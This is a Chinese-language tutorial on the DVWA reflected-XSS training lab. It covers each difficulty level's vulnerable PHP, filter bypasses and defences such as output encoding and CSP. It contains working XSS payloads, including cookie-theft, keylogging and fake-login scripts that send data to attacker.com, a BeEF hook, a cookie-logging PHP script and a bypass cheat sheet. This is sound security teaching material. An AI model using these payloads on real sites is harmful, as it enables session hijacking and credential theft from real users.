0%

DVWA - XSS Reflected (反射型XSS) 攻防练习详解

目录


漏洞简介

什么是反射型XSS(Reflected Cross-Site Scripting)?

反射型XSS是一种客户端代码注入攻击,攻击者将恶意脚本注入到URL参数或表单中,服务器将这些恶意内容”反射”回页面并在浏览器中执行。

攻击流程:

  1. 攻击者构造包含恶意脚本的URL
  2. 受害者点击恶意链接
  3. 服务器将恶意脚本反射到响应页面
  4. 浏览器执行恶意脚本

危害:

  • 窃取Cookie和Session
  • 钓鱼攻击
  • 键盘记录
  • 篡改页面内容
  • 重定向到恶意网站
  • 传播蠕虫

与存储型XSS的区别:

  • 反射型:恶意代码在URL中,不存储在服务器
  • 存储型:恶意代码存储在数据库,持久化攻击

Low 难度

攻击目标

完全未过滤的输入输出,直接执行用户脚本。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

// ★★★ 声明HTTP响应头:字符集为UTF-8 ★★★
// header() - 发送原始HTTP头到客户端
// Content-Type - 指定内容类型
// text/html - HTML文档
// charset=utf-8 - 字符编码为UTF-8
header ("Content-Type: text/html;charset=utf-8");

// 检查是否提交了表单
// isset() - 检查变量是否存在且非NULL
// $_GET['name'] - 从URL参数获取name的值
if( isset( $_GET[ 'name' ] ) ) {

// ★★★ 危险操作:直接输出用户输入,无任何过滤! ★★★
// $_GET[ 'name' ] - 获取用户输入的name参数
// 例如:?name=<script>alert(1)</script>
// 问题:没有任何HTML编码、过滤或验证
// 用户输入的任何内容都会直接插入HTML中执行
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

漏洞分析

核心问题:

  1. 直接输出用户输入 - 没有任何过滤
  2. 无HTML编码 - 特殊字符<>不转义
  3. 无内容安全策略 - 允许执行任意脚本
  4. 无输入验证 - 接受任何字符

攻击原理:

1
2
3
4
5
6
7
8
<!-- 正常输入 -->
?name=Alice
输出:<pre>Hello Alice</pre>

<!-- XSS攻击 -->
?name=<script>alert('XSS')</script>
输出:<pre>Hello <script>alert('XSS')</script></pre>
结果:浏览器执行脚本,弹出XSS对话框

攻击步骤

步骤1:基础测试

测试1:简单弹窗

1
2
3
4
5
6
7
8
<!-- 输入 -->
<script>alert('XSS')</script>

<!-- 完整URL -->
http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=<script>alert('XSS')</script>

<!-- 结果 -->
页面弹出对话框显示"XSS"

测试2:大小写混淆

1
2
<!-- 如果有简单过滤,尝试大小写 -->
<ScRiPt>alert('XSS')</ScRiPt>

测试3:其他标签

1
2
3
4
5
6
7
8
<!-- img标签 -->
<img src=x onerror=alert('XSS')>

<!-- body标签 -->
<body onload=alert('XSS')>

<!-- svg标签 -->
<svg onload=alert('XSS')>

步骤2:窃取Cookie

Payload:

1
2
3
4
5
6
7
8
9
10
<script>
// 将Cookie发送到攻击者服务器
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

<!-- 简化版 -->
<script>location='http://attacker.com/?c='+document.cookie</script>

<!-- 使用img标签(更隐蔽) -->
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

攻击者服务器(steal.php):

1
2
3
4
5
6
7
<?php
// 接收并记录Cookie
$cookie = $_GET['cookie'];
$log = fopen('cookies.txt', 'a');
fwrite($log, date('Y-m-d H:i:s') . ' - ' . $cookie . "\n");
fclose($log);
?>

步骤3:键盘记录

1
2
3
4
5
6
<script>
// 记录用户输入
document.onkeypress = function(e) {
fetch('http://attacker.com/log.php?key=' + e.key);
}
</script>

步骤4:钓鱼攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
// 创建假登录表单
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
<h1>Session Expired</h1>
<form action="http://attacker.com/phish.php" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<button>Login</button>
</form>
</div>
`;
</script>

步骤5:BeEF挂钩

1
2
3
4
<!-- BeEF(Browser Exploitation Framework)-->
<script src="http://attacker.com:3000/hook.js"></script>

<!-- 执行后,受害者浏览器会被BeEF控制 -->

步骤6:URL编码绕过

如果链接被过滤,使用URL编码:

1
2
3
4
5
6
原始:<script>alert('XSS')</script>

URL编码:%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

完整URL:
http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

Medium 难度

攻击目标

添加了简单的过滤,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

header ("Content-Type: text/html;charset=utf-8");

if( isset( $_GET[ 'name' ] ) ) {

// ★★★ 新增:使用str_replace()过滤<script>标签 ★★★
// str_replace() - 字符串替换函数
// 参数1:要查找的字符串(<script>)
// 参数2:替换成的字符串(空字符串,即删除)
// 参数3:被搜索的字符串(用户输入)
// 返回值:替换后的字符串
//
// 问题:只过滤小写的<script>,不过滤其他标签
// 只替换一次,可以双写绕过
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// 输出(仍然没有HTML编码)
$html .= "<pre>Hello {$name}</pre>";
}

?>

新增防护

  1. str_replace()过滤 - 删除<script>标签

仍存在的漏洞

问题分析:

  1. 只过滤<script> - 不过滤其他标签(img, svg, body等)
  2. 大小写敏感 - 只过滤小写
  3. 只替换一次 - 可以双写绕过
  4. 无全局过滤 - 不过滤事件处理器

绕过方法

方法1:大小写混淆

1
2
3
4
5
6
7
<!-- 原始被过滤 -->
<script>alert('XSS')</script>

<!-- 大小写混淆 -->
<Script>alert('XSS')</Script>
<SCRIPT>alert('XSS')</SCRIPT>
<ScRiPt>alert('XSS')</ScRiPt>

方法2:使用其他标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- img标签 -->
<img src=x onerror=alert('XSS')>

<!-- svg标签 -->
<svg onload=alert('XSS')>

<!-- body标签 -->
<body onload=alert('XSS')>

<!-- iframe标签 -->
<iframe src="javascript:alert('XSS')">

<!-- input标签 -->
<input onfocus=alert('XSS') autofocus>

<!-- details标签 -->
<details open ontoggle=alert('XSS')>

方法3:双写绕过

1
2
3
4
5
6
7
<!-- 原理:str_replace只替换一次 -->
<scr<script>ipt>alert('XSS')</scr</script>ipt>

<!-- 处理过程 -->
1. 原始:<scr<script>ipt>alert('XSS')</script>
2. 替换<script>为空:<script>alert('XSS')</script>
3. 结果:绕过成功!

方法4:事件处理器

1
2
3
4
5
6
7
8
<!-- onclick -->
<div onclick=alert('XSS')>Click me</div>

<!-- onmouseover -->
<div onmouseover=alert('XSS')>Hover me</div>

<!-- onerror -->
<img src=x onerror=alert('XSS')>

High 难度

攻击目标

使用正则表达式过滤,但仍可绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

header ("Content-Type: text/html;charset=utf-8");

if( isset( $_GET[ 'name' ] ) ) {

// ★★★ 新增:使用preg_replace()正则表达式过滤 ★★★
// preg_replace() - 执行正则表达式的搜索和替换
// 参数1:正则表达式模式
// 参数2:替换成的字符串
// 参数3:被搜索的字符串
// 返回值:替换后的字符串
//
// 正则模式:'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'
// < - 匹配小于号
// (.*) - 匹配任意字符(贪婪模式)
// s, c, r, i, p, t - 分别匹配这些字符
// /i - 不区分大小写标志
//
// 目的:过滤包含<...s...c...r...i...p...t的内容
// 例如:<script>, <scri pt>, <s c r i p t>
//
// 问题:只过滤<script>相关,不过滤其他标签!
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// 输出
$html .= "<pre>Hello {$name}</pre>";
}

?>

新增防护

  1. 正则表达式过滤 - 过滤各种形式的<script>
  2. 不区分大小写 - /i标志
  3. 匹配变形 - 过滤<s...c...r...i...p...t

仍存在的漏洞

核心问题:

仍然只过滤<script>标签,其他HTML标签和事件处理器完全可用!

绕过方法

方法1:使用img标签

1
2
3
4
<img src=x onerror=alert('XSS')>

<!-- 无论大小写都可以 -->
<IMG SRC=x ONERROR=alert('XSS')>

方法2:使用svg标签

1
2
3
4
<svg onload=alert('XSS')>

<!-- 或 -->
<svg/onload=alert('XSS')>

方法3:使用body标签

1
<body onload=alert('XSS')>

方法4:使用iframe

1
2
3
4
<iframe src="javascript:alert('XSS')">

<!-- 或data URI -->
<iframe src="data:text/html,<script>alert('XSS')</script>">

方法5:使用input

1
<input onfocus=alert('XSS') autofocus>

方法6:HTML5新标签

1
2
3
4
5
6
7
8
9
10
11
<!-- details -->
<details open ontoggle=alert('XSS')>

<!-- marquee -->
<marquee onstart=alert('XSS')>

<!-- video -->
<video src=x onerror=alert('XSS')>

<!-- audio -->
<audio src=x onerror=alert('XSS')>

Impossible 难度

攻击目标

使用htmlspecialchars()正确编码,无法攻破。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

header ("Content-Type: text/html;charset=utf-8");

if( isset( $_GET[ 'name' ] ) ) {

// ★★★ 核心防护:htmlspecialchars() ★★★
// htmlspecialchars() - 将特殊字符转换为HTML实体
// 参数1:要转换的字符串
// 参数2:转换标志(可选)
// 返回值:转换后的字符串
//
// 转换规则:
// & (和号) → &amp;
// " (双引号) → &quot;(当ENT_NOQUOTES未设置时)
// ' (单引号) → &#039;(当ENT_QUOTES设置时)
// < (小于号) → &lt;
// > (大于号) → &gt;
//
// 作用:将HTML特殊字符转换为实体,使其作为文本显示而不是代码执行
$name = htmlspecialchars( $_GET[ 'name' ] );

// 输出编码后的内容
$html .= "<pre>Hello {$name}</pre>";
}

?>

完善的防护机制

htmlspecialchars()工作原理:

1
2
3
4
5
6
7
8
9
10
11
<!-- 输入 -->
<script>alert('XSS')</script>

<!-- 处理后 -->
&lt;script&gt;alert('XSS')&lt;/script&gt;

<!-- 浏览器显示 -->
<script>alert('XSS')</script>(作为文本显示)

<!-- 不会执行 -->
因为<和>被转换为实体,浏览器不会将其解析为HTML标签

详细转换示例:

1
2
3
4
5
6
7
8
9
10
11
输入:<img src=x onerror=alert('XSS')>
输出:&lt;img src=x onerror=alert('XSS')&gt;
显示:<img src=x onerror=alert('XSS')>(纯文本)

输入:<svg onload=alert('XSS')>
输出:&lt;svg onload=alert('XSS')&gt;
显示:<svg onload=alert('XSS')>(纯文本)

输入:"><script>alert('XSS')</script>
输出:&quot;&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;
显示:"&gt;<script>alert('XSS')</script>(纯文本)

为什么无法攻破?

所有攻击都被转义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
尝试1:<script>alert('XSS')</script>
结果:&lt;script&gt;alert('XSS')&lt;/script&gt;
状态:失败(作为文本显示)

尝试2:<img src=x onerror=alert('XSS')>
结果:&lt;img src=x onerror=alert('XSS')&gt;
状态:失败(作为文本显示)

尝试3:<svg onload=alert('XSS')>
结果:&lt;svg onload=alert('XSS')&gt;
状态:失败(作为文本显示)

尝试4:"><script>alert('XSS')</script>
结果:&quot;&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;
状态:失败(引号也被转义)

关键防御点:

  1. 所有HTML标签被转义 - <>变为&lt;&gt;
  2. 引号被转义 - 无法闭合属性
  3. 转换为HTML实体 - 浏览器将其视为文本
  4. 适用于所有上下文 - 标签、属性、内容都安全

防御建议

代码层面

1. 输出编码(最重要)

1
2
3
4
5
6
7
// ★★★ 推荐:使用htmlspecialchars() ★★★
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// ENT_QUOTES - 转换单引号和双引号
// UTF-8 - 指定字符编码

echo "<div>$safe_output</div>";

2. 不同上下文使用不同编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// HTML内容
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// HTML属性
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// JavaScript字符串
// 使用json_encode()
echo "<script>var name = " . json_encode($input) . ";</script>";

// URL参数
urlencode($input);

// CSS
// 避免用户输入直接进入CSS,或使用CSS编码库

3. 内容安全策略(CSP)

1
2
3
4
5
// 设置CSP头
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");

// 禁止内联脚本
// 只允许从同源加载脚本

CSP配置示例:

1
2
3
4
5
6
7
Content-Security-Policy:
default-src 'self'; # 默认只允许同源
script-src 'self' 'nonce-{random}'; # 脚本必须有nonce
style-src 'self' 'unsafe-inline'; # 允许内联样式
img-src *; # 允许任何来源的图片
object-src 'none'; # 禁止<object>
base-uri 'self'; # 限制<base>

4. 输入验证(辅助)

1
2
3
4
5
6
7
8
9
10
// 白名单验证
$allowed = '/^[a-zA-Z0-9 ]+$/';
if (!preg_match($allowed, $input)) {
die("Invalid input");
}

// 长度限制
if (strlen($input) > 100) {
die("Input too long");
}
1
2
3
4
5
6
// 防止JavaScript访问Cookie
setcookie('session', $value, [
'httponly' => true, // 防止XSS窃取Cookie
'secure' => true, // 只通过HTTPS传输
'samesite' => 'Strict' // 防止CSRF
]);

框架层面

Laravel示例

1
2
3
4
5
// Blade模板自动转义
{{ $user_input }} // 自动使用htmlspecialchars()

// 不转义(危险!)
{!! $html_content !!} // 仅用于可信内容

React示例

1
2
3
4
5
// React自动转义
<div>{userInput}</div> // 安全

// 危险方式(避免使用)
<div dangerouslySetInnerHTML={{__html: userInput}} />

架构层面

  1. 使用模板引擎

    • Twig(PHP)
    • Jinja2(Python)
    • Handlebars(JavaScript)
    • 自动转义输出
  2. WAF(Web应用防火墙)

    • ModSecurity
    • Cloudflare WAF
    • AWS WAF
  3. 定期审计

    • 代码审计
    • 安全扫描工具
    • 渗透测试

总结对比

特性 Low Medium High Impossible
输出编码 ✅ htmlspecialchars
过滤方式 str_replace preg_replace N/A
过滤目标 <script> <script>变形 N/A
大小写 N/A 敏感 不敏感 N/A
可绕过性 完全开放 容易 容易 不可绕过
典型Payload <script> <img> <img> 无效
攻击难度 极易 简单 简单 不可能

常用XSS Payload集合

基础Payload

1
2
3
4
5
6
7
8
9
10
11
<!-- 标准脚本 -->
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

<!-- 大小写混淆 -->
<ScRiPt>alert('XSS')</ScRiPt>
<SCRIPT>alert('XSS')</SCRIPT>

<!-- 双写绕过 -->
<scr<script>ipt>alert('XSS')</script>

事件处理器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- onerror -->
<img src=x onerror=alert('XSS')>
<img src=x onerror="alert('XSS')">
<img src=x onerror="alert(String.fromCharCode(88,83,83))">

<!-- onload -->
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<iframe onload=alert('XSS')>

<!-- onclick -->
<div onclick=alert('XSS')>Click</div>
<button onclick=alert('XSS')>Click</button>

<!-- onmouseover -->
<div onmouseover=alert('XSS')>Hover</div>
<img src=x onmouseover=alert('XSS')>

HTML5标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- svg -->
<svg/onload=alert('XSS')>
<svg><script>alert('XSS')</script></svg>

<!-- details -->
<details open ontoggle=alert('XSS')>

<!-- video -->
<video src=x onerror=alert('XSS')>

<!-- audio -->
<audio src=x onerror=alert('XSS')>

<!-- marquee -->
<marquee onstart=alert('XSS')>

JavaScript伪协议

1
2
3
4
<a href="javascript:alert('XSS')">Click</a>
<iframe src="javascript:alert('XSS')">
<form action="javascript:alert('XSS')">
<button formaction="javascript:alert('XSS')">

编码绕过

1
2
3
4
5
6
7
8
9
10
11
<!-- HTML实体编码 -->
<img src=x onerror="alert('&#88;&#83;&#83;')">

<!-- Unicode编码 -->
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>

<!-- 十六进制编码 -->
<img src=x onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;('XSS')">

<!-- Base64 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">

Cookie窃取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- 简单窃取 -->
<script>document.location='http://attacker.com/?c='+document.cookie</script>

<!-- 使用fetch -->
<script>fetch('http://attacker.com/?c='+document.cookie)</script>

<!-- 使用img -->
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

<!-- 使用XMLHttpRequest -->
<script>
var xhr=new XMLHttpRequest();
xhr.open('GET','http://attacker.com/?c='+document.cookie);
xhr.send();
</script>

实战建议

学习路径:

  1. Low难度 - 理解XSS基本原理
  2. Medium难度 - 学习简单绕过技巧
  3. High难度 - 掌握正则绕过方法
  4. Impossible难度 - 理解正确的防御

测试流程:

  1. 输入<script>alert(1)</script>测试
  2. 如果被过滤,尝试大小写混淆
  3. 如果仍被过滤,使用其他标签
  4. 使用Burp Suite查看过滤规则
  5. 针对性构造Payload

工具推荐:

  • Burp Suite - 拦截和修改请求
  • XSSer - 自动化XSS扫描
  • BeEF - 浏览器利用框架
  • XSS Hunter - XSS盲打平台

道德准则:

  • 只在授权环境测试
  • 不窃取真实用户数据
  • 学习目的是防御,不是攻击
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels